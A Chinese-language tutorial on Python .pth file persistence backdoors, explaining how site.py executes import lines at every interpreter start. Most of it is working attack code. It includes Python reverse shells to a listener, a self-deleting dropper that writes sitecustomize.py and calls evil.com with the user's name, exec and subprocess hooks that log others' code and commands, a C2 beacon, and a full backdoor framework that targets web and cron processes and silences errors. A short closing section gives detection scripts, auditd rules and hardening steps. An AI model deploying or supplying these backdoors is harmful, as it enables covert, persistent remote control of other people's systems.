前言 Python 在启动时会自动遍历 site-packages 目录下的 .pth 文件并逐行处理。.pth 的设计初衷是路径配置文件 ——用来把额外的模块搜索路径添加到 sys.path。但 Python 的设计留了一个”后门”:以 import 开头的行会被直接执行 。这意味着任何能在 site-packages 下写入 .pth 文件的人,都能在每次 Python 启动时执行任意代码。
作为一种权限维持技术,.pth 后门极其隐蔽——没有新进程、没有 crontab、没有 shell 配置文件篡改,只是一个安静的文本文件。
一、.pth 文件机制 1.1 site.py 的处理流程 Python 启动时,site.py(位于 Lib/site.py)会被自动执行,其中关键逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def addsitepackages (known_paths ): """处理 site-packages 下所有 .pth 文件""" for sitedir in getsitepackages(): if os.path.isdir(sitedir): for filename in os.listdir(sitedir): if filename.endswith('.pth' ): for line in open (os.path.join(sitedir, filename)): line = line.strip() if line.startswith('#' ): continue if line.startswith('import ' ): exec (line) else : if os.path.exists(line): sys.path.append(line)
核心规则:
行类型
行为
以 # 开头
忽略(注释)
以 import 开头
exec() 执行
其他
当作目录路径,如果存在则加入 sys.path
1.2 site-packages 位置 不同系统和 Python 版本路径不同,常见位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /usr/lib/python3.x/site-packages/ /usr/local/lib/python3.x/dist-packages/ <venv>/lib/python3.x/site-packages/ ~/.local/lib/python3.x/site-packages/ C:\Python3x\Lib\site-packages\ C:\Users\<用户名>\AppData\Roaming\Python\Python3x\site-packages\ /Library/Python/3.x/lib/python/site-packages/
查看当前环境 site-packages 位置:
1 2 3 python -c "import site; print(site.getsitepackages())" python -c "import sysconfig; print(sysconfig.get_paths()['purelib'])"
二、基础 PoC 2.1 最简单的 .pth 后门 1 2 import os; os.system('touch /tmp/pwned' )
Python 启动即触发:
1 2 python -c "print('hello')"
2.2 反向 Shell 后门 1 2 import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1" ,4444 )); os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 ); subprocess.call(["/bin/sh" ,"-i" ])
任何使用了这个 Python 解释器的程序启动时,都会向攻击者反弹 shell。包括但不限于:
用户手动运行 python 或 python3
pip install
用 Python 写的系统工具
Flask/Django 等 Web 应用
Celery 等任务队列 worker
定时任务中的 Python 脚本
2.3 更隐蔽的方式——写入文件再删除 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import osbackdoor_code = """ import builtins _orig_exec = builtins.exec def _backdoor_exec(code, globals=None, locals=None): import os try: os.system('curl http://evil.com/$(whoami)') except: pass return _orig_exec(code, globals, locals) builtins.exec = _backdoor_exec """ with open (os.path.join(os.path.dirname(__file__), 'sitecustomize.py' ), 'w' ) as f: f.write(backdoor_code) os.remove(__file__)
一次触发,永久驻留。 .pth 文件只存在了一瞬间,但 sitecustomize.py 会永远留在那里,每次 Python 启动都执行。
三、更多利用方式 3.1 hook builtins.exec —— 透明监控 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import builtins,os,time_orig_exec = builtins.exec def _hooked_exec (code, globals =None , locals =None ): """每次 exec() 被调用时记录执行的代码""" try : with open ('/tmp/.py_log' , 'a' ) as f: f.write(f"[{time.ctime()} ] PID={os.getpid()} CMD={os.readlink('/proc/self/exe' )} \n" ) f.write(f"{str (code)[:200 ]} \n{'=' *40 } \n" ) except : pass return _orig_exec(code, globals , locals ) builtins.exec = _hooked_exec
这个后门不会影响程序正常运行,但会把所有通过 exec() 执行的代码记录到 /tmp/.py_log——在 CTF 中可用于窃取其他选手的 payload。
3.2 hook subprocess.Popen —— 命令劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import subprocess as _subprocessimport shlex_orig_popen = _subprocess.Popen class _BackdoorPopen (_orig_popen ): def __init__ (self, args, **kwargs ): try : with open ('/tmp/.cmd_log' , 'a' ) as f: cmd = args if isinstance (args, str ) else ' ' .join(args) f.write(f"{cmd} \n" ) except : pass super ().__init__(args, **kwargs) _subprocess.Popen = _BackdoorPopen
3.3 定时 beacon 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import threading,time,osdef beacon (): while True : try : os.system('curl -s http://c2.example.com/beat 2>/dev/null &' ) except : pass time.sleep(60 ) t = threading.Thread(target=beacon, daemon=True ) t.start()
daemon=True 确保守护线程不会阻止 Python 进程正常退出。
3.4 fork 后门 —— 避免阻塞启动 1 2 3 4 5 6 7 8 9 import ospid = os.fork() if pid == 0 : os.setsid() os._exit(0 )
os.fork() 创建子进程执行后门,父进程正常继续。Python 启动完全不受影响。
四、实战:完整后门框架 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 """ 保存为: /usr/lib/python3.x/site-packages/<name>.pth 特性: - 不阻塞 Python 启动(fork 子进程) - 多种通信方式(反弹 shell / HTTP Beacon / DNS 隧道) - 自动检测是否在 Docker 容器,决定持久化策略 - 仅在高价值进程(Web 服务、定时任务)中激活 """ import osimport sysimport timeimport socketimport threadingC2_HOST = "10.0.0.1" C2_PORT = 4444 BEACON_INTERVAL = 60 PAYLOAD_MODE = "fork" def is_high_value (): """判断当前进程是否值得植入""" try : cmdline = open ('/proc/self/cmdline' , 'r' ).read() high_value_keywords = [ 'gunicorn' , 'uwsgi' , 'celery' , 'flask' , 'django' , 'uvicorn' , 'fastapi' , 'pip' , 'cron' , 'ansible' , ] for kw in high_value_keywords: if kw in cmdline.lower(): return True except : pass return True def reverse_shell (): """反弹 shell""" try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) os.system('/bin/sh -i' ) except : pass def http_beacon (): """HTTP Beacon 模式""" while True : try : import urllib.request hostname = socket.gethostname() pid = os.getpid() urllib.request.urlopen( f'http://{C2_HOST} :{C2_PORT} /beat?host={hostname} &pid={pid} ' , timeout=5 ) except : pass time.sleep(BEACON_INTERVAL) def self_destruct (): """删除自身 .pth 文件,用 sitecustomize.py 接力""" try : import site for sitedir in site.getsitepackages(): sc_path = os.path.join(sitedir, 'sitecustomize.py' ) if not os.path.exists(sc_path): with open (sc_path, 'w' ) as f: f.write('import os\n' ) f.write('pid=os.fork()\n' ) f.write('if pid==0:\n' ) f.write(' os.setsid()\n' ) f.write(f' os.system("python -c \\"import socket,os;s=socket.socket();s.connect((\\\"{C2_HOST} \\\",{C2_PORT} ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system(\\\"/bin/sh\\\")\\"")\n' ) f.write(' os._exit(0)\n' ) break os.remove(__file__) except : pass def main (): if not is_high_value(): return if PAYLOAD_MODE == "fork" : pid = os.fork() if pid == 0 : os.setsid() reverse_shell() os._exit(0 ) elif PAYLOAD_MODE == "thread" : t = threading.Thread(target=http_beacon, daemon=True ) t.start() elif PAYLOAD_MODE == "inline" : reverse_shell() main()
五、环境差异与注意事项 5.1 sitecustomize.py —— 另一个自动加载入口 Python 除了 .pth,还有 sitecustomize.py。它会由 site.py 自动导入执行,位置同样是 site-packages。
1 2 3 4 5 6 7 8 9 sitecustomize.py 和 .pth 的区别: ┌───────────────────┬────────────────────────────────┐ │ .pth │ sitecustomize.py │ ├───────────────────┼────────────────────────────────┤ │ 逐行处理 │ 完整 Python 模块(导入执行) │ │ 只执行 import 行 │ 所有代码都执行 │ │ 可添加 sys.path │ 不能添加路径 │ │ 文件名任意 │ 文件名固定为 sitecustomize.py │ └───────────────────┴────────────────────────────────┘
组合技: .pth 写入 sitecustomize.py,然后删除自己。
5.2 usercustomize.py —— 用户级入口 用户级 site-packages(~/.local/lib/python3.x/site-packages/)下的 usercustomize.py 也会被自动加载。区别是它只对当前用户有效 ,不需要 root 权限写入。
1 2 3 echo 'import os;os.system("curl http://evil.com/$(whoami)")' \ >> ~/.local/lib/python3.8/site-packages/usercustomize.py
5.3 虚拟环境 每个虚拟环境都有独立的 site-packages,且虚拟环境的优先级高于系统级。如果目标应用使用虚拟环境:
1 2 <project>/venv/lib/python3.x/site-packages/
.pth 后门需要写入目标应用使用的那个 Python 环境的 site-packages。
5.4 .pth 执行失败不报错 如果 .pth 中的 import 行执行出错,Python 会在 stderr 输出 traceback,但不会阻止启动 。这意味着一个写坏的 .pth 后门可能导致:
启动日志中出现可疑的输出(在 Docker/CI 中可能被记录下来)
服务表面正常启动,但 stderr 有报错
建议: 所有 payload 包在 try/except 中,失败时静默。
5.5 Gunicorn / uWSGI 多 worker 场景 Gunicorn 等会 fork 多个 worker,每个 worker 启动时都会重新导入 Python 模块。如果用 fork() 模式,注意判断是否已在父进程环境中:
1 2 3 4 5 6 import osppid = os.getppid() if ppid != 1 : pass
六、检查与防御 6.1 检查当前环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 python -c "import site; [print(f'{d}/*.pth') for d in site.getsitepackages()]" find /usr/lib/ -name "*.pth" 2>/dev/null find /usr/local/lib/ -name "*.pth" 2>/dev/null find ~/.local/ -name "*.pth" 2>/dev/null python -c " import site, os for d in site.getsitepackages(): for f in os.listdir(d): if f.endswith('.pth'): path = os.path.join(d, f) with open(path) as fp: for line in fp: line = line.strip() if line.startswith('import ') or line.startswith('import('): print(f'[!] SUSPICIOUS: {path}: {line}') " find / -name "sitecustomize.py" -o -name "usercustomize.py" 2>/dev/null
6.2 安全加固
措施
说明
只读 site-packages
生产环境将 site-packages 设为只读(chmod -R 555),安装依赖时临时放开
监控 .pth 文件变化
用 auditd / inotify 监控 site-packages 下的 .pth 文件创建和修改
限制 site-packages 写入权限
用 chattr +i 对关键目录设为 immutable
Python 启动日志
记录 Python 启动时的 stderr,关注 import 执行失败的 traceback
定期扫描
在 CI/CD 中加入对 .pth 文件中 import 行的检测
使用 -S 参数
python -S 跳过 site.py 的加载(不导入 site-packages),用于安全敏感环境
6.3 Auditd 规则示例 1 2 3 4 5 auditctl -w /usr/lib/python3.8/site-packages/ -p wa -k python_pth ausearch -k python_pth
6.4 Python 启动检测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import osimport sitedef check_pth_files (): suspicious = [] for d in site.getsitepackages(): try : for f in os.listdir(d): if not f.endswith('.pth' ): continue path = os.path.join(d, f) with open (path) as fp: for lineno, line in enumerate (fp, 1 ): line = line.strip() if line.startswith('import ' ) or line.startswith('import(' ): suspicious.append((path, lineno, line)) except : pass if suspicious: print ('[!] 发现可疑 .pth 条目:' ) for path, lineno, line in suspicious: print (f' {path} :{lineno} → {line} ' ) else : print ('[+] .pth 文件安全' ) if __name__ == '__main__' : check_pth_files()
参考